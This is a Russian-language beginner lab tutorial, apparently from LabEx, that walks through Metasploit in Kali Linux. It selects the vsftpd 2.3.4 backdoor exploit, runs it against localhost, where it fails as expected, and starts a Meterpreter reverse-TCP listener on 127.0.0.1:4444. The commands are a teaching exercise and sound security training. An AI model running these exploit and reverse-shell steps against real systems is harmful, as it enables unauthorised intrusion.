Введение
В этой лабораторной работе вы изучите основы тестирования на проникновение с использованием Kali Linux в контролируемой среде на виртуальной машине LabEx. Основное внимание уделяется использованию мощного фреймворка Metasploit для поиска уязвимостей, настройки полезных нагрузок, выполнения эксплойтов и взаимодействия с скомпрометированными системами через сессию Meterpreter. Лабораторная работа разработана для начинающих и пошагово знакомит с ключевыми методами кибербезопасности в безопасной и структурированной форме. При открытии терминала вы будете автоматически подключены к оболочке контейнера Kali Linux и сможете сразу приступить к практике без необходимости ручного запуска или входа в контейнер.
Запуск Metasploit Framework
На первом этапе вы запустите Metasploit Framework — ключевой инструмент для тестирования на проникновение в Kali Linux. Этот шаг важен, так как он подготавливает среду для поиска и эксплуатации уязвимостей в последующих этапах.
Когда вы открываете терминал в виртуальной машине LabEx, вы автоматически подключаетесь к оболочке контейнера Kali Linux. Нет необходимости вручную запускать контейнер или входить в оболочку; среда уже настроена для вас.
Перед использованием Metasploit необходимо убедиться, что он установлен в контейнере Kali Linux. Сначала обновите список пакетов, введя следующую команду в терминале и нажав Enter:
apt update
Затем установите Metasploit Framework. Установка может занять несколько минут, пожалуйста, дождитесь завершения.
apt install -y metasploit-framework
После установки запустите консоль Metasploit, введя следующую команду и нажав Enter:
msfconsole
При первом запуске этой команды может потребоваться некоторое время для инициализации, так как система настраивает базу данных и загружает модули. Вы увидите баннер ASCII и приглашение, похожее на это, когда Metasploit запустится:
Metasploit Framework
...
msf6 >
Приглашение msf6 > означает, что вы находитесь внутри консоли Metasploit и готовы к работе с фреймворком. Не выходите из консоли, так как она понадобится вам на следующем этапе для поиска и выбора эксплойта.
Поиск и выбор эксплойта
Теперь, когда вы запустили Metasploit Framework, следующим шагом будет поиск и выбор эксплойта. Эксплойт — это фрагмент кода, который использует уязвимость программного обеспечения для вызова непредвиденного поведения, например, получения несанкционированного доступа.
Поскольку вы уже находитесь в консоли Metasploit (с приглашением msf6 >), давайте поищем эксплойт, связанный с FTP (File Transfer Protocol) — распространенной службой, которая может иметь уязвимости. Введите следующую команду и нажмите Enter:
search ftp
Эта команда выведет список эксплойтов и вспомогательных модулей, связанных с FTP. Результат будет представлен в виде таблицы подходящих модулей.
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
1 auxiliary/scanner/ftp/ftp_version normal No FTP Version Scanner
2 auxiliary/scanner/ftp/anonymous normal No FTP Anonymous Access Scanner
...
Для этой лабораторной работы мы будем использовать эксплойт vsftpd_234_backdoor. Чтобы выбрать его, используйте команду use, за которой следует имя эксплойта.
use exploit/unix/ftp/vsftpd_234_backdoor
После выбора эксплойта ваше приглашение изменится, включив в себя имя эксплойта, что означает, что он стал активным модулем.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
Чтобы просмотреть подробную информацию о выбранном эксплойте, включая его параметры и требования, введите команду info.
info
Вывод содержит такие детали, как платформа, архитектура и доступные цели.
Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2011-07-03
Вы успешно выбрали эксплойт. На следующем этапе вы настроите полезную нагрузку для этого эксплойта.
Примечание: Labby не может получить записи операций в оболочке msf, поэтому следующие шаги не будут проверяться автоматически.
Настройка эксплойта и полезной нагрузки
После выбора эксплойта вам необходимо настроить его параметры и проверить поведение полезной нагрузки (payload). Полезная нагрузка — это код, который выполняется на целевой системе после успешного срабатывания эксплойта. В текущих сборках Metasploit этот модуль часто работает с настройками по умолчанию и может не требовать ручного выбора полезной нагрузки.
Важно: Перед установкой полезной нагрузки крайне важно проверить, какие из них совместимы с выбранным эксплойтом. Используйте следующую команду, чтобы увидеть все совместимые полезные нагрузки:
show payloads
Эта команда покажет полезные нагрузки, совместимые с vsftpd_234_backdoor. В некоторых версиях Metasploit отображается cmd/unix/interact; в других она может отсутствовать или считаться недопустимой.
set payload cmd/unix/interact
Если эта команда возвращает ошибку, например The value specified is not valid, продолжайте без установки полезной нагрузки, оставив настройки модуля по умолчанию.
Затем необходимо настроить параметры эксплойта. Параметр RHOST (Remote Host) указывает IP-адрес целевой машины. Для этой симуляции мы установим его на 127.0.0.1.
set RHOST 127.0.0.1
Важное примечание: Для данного рабочего процесса эксплуатации вам не нужно устанавливать LHOST или LPORT перед запуском эксплойта.
Чтобы проверить все настройки, используйте команду show options.
show options
Она отобразит таблицу параметров для эксплойта. Убедитесь, что RHOST установлен правильно.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)
Ваш эксплойт и полезная нагрузка настроены и готовы к выполнению на следующем этапе.
Выполнение эксплойта
Настроив эксплойт и полезную нагрузку, вы готовы к их выполнению. Команда exploit дает указание Metasploit начать атаку на указанную цель (RHOST).
В консоли Metasploit просто введите следующую команду и нажмите Enter:
exploit
Metasploit попытается запустить эксплойт. Поскольку в этой лабораторной среде на 127.0.0.1 не запущена реальная уязвимая служба VSFTPD, эксплойт завершится неудачей. Это ожидаемый результат, демонстрирующий процесс запуска атаки.
Вывод покажет, что Metasploit пытался подключиться к целевой FTP-службе, но потерпел неудачу, так как служба не запущена:
[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.
Примечание: Этот рабочий процесс эксплуатации не требует предварительного запуска прослушивателя обратного соединения (reverse-shell listener). Если бы цель была уязвима и доступна, Metasploit попытался бы открыть интерактивную сессию командной строки.
Сообщение Exploit completed, but no session was created подтверждает неудачу. В успешном сценарии с уязвимой службой VSFTPD это привело бы к установлению интерактивной сессии командной оболочки, позволяющей выполнять команды непосредственно на целевой системе. Этот шаг обучает вас фундаментальной команде для запуска эксплойта, что является основной частью рабочего процесса тестирования на проникновение.
Настройка прослушивателя Meterpreter
На этом заключительном этапе вы научитесь настраивать прослушиватель для полезной нагрузки Meterpreter. Meterpreter — это продвинутая, многофункциональная полезная нагрузка, которая предоставляет интерактивную оболочку на целевой системе. Вместо запуска эксплойта вы будете использовать модуль exploit/multi/handler для ожидания входящих соединений. Это полезно, когда эксплойт доставляется другими способами (например, через вредоносный файл) и вам нужно «поймать» обратное соединение.
Сначала переключитесь на модуль multi/handler.
use exploit/multi/handler
Ваше приглашение изменится, отражая новый модуль.
msf6 exploit(multi/handler) >
Затем установите полезную нагрузку Meterpreter. Мы будем использовать ту, которая предназначена для систем Linux. Имя полезной нагрузки linux/x86/meterpreter/reverse_tcp следует логической структуре: <платформа>/<архитектура>/<тип>/<протокол>. Она указывает платформу Linux, архитектуру x86, тип полезной нагрузки Meterpreter и протокол обратного TCP-соединения.
set payload linux/x86/meterpreter/reverse_tcp
Теперь настройте параметры прослушивателя, LHOST и LPORT, точно так же, как вы делали это ранее.
set LHOST 127.0.0.1
Примечание: Вы можете увидеть предупреждающее сообщение о привязке к адресу обратной петли (loopback). Это нормально при использовании localhost (127.0.0.1), и для данной лабораторной работы его можно смело игнорировать.
set LPORT 4444
Наконец, запустите прослушиватель с помощью команды exploit.
exploit
Metasploit запустит прослушиватель на указанном IP-адресе и порту, ожидая подключения сессии Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
Консоль останется активной, ожидая подключения. В реальном сценарии, если бы целевая машина выполнила соответствующую полезную нагрузку Meterpreter, здесь была бы установлена сессия. Поскольку в этой лабораторной работе ни одна цель не подключится, вы можете остановить прослушиватель, нажав Ctrl + C.
Чтобы выйти из консоли Metasploit, введите exit и нажмите Enter.
Резюме
В этой лабораторной работе вы изучили фундаментальные этапы тестирования на проникновение с использованием Kali Linux и фреймворка Metasploit. Вы начали с запуска Metasploit, поиска и выбора эксплойта, проверки совместимости полезной нагрузки, настройки параметров эксплойта и выполнения атаки в симулированной среде. Вы также узнали, как настроить автономный прослушиватель для продвинутой полезной нагрузки Meterpreter. Эти шаги дают практическое введение в основной рабочий процесс поиска уязвимостей, подготовки полезных нагрузок и понимания процесса эксплуатации. Следуя этому структурированному подходу, вы получили практический опыт работы с основными инструментами и методами кибербезопасности.


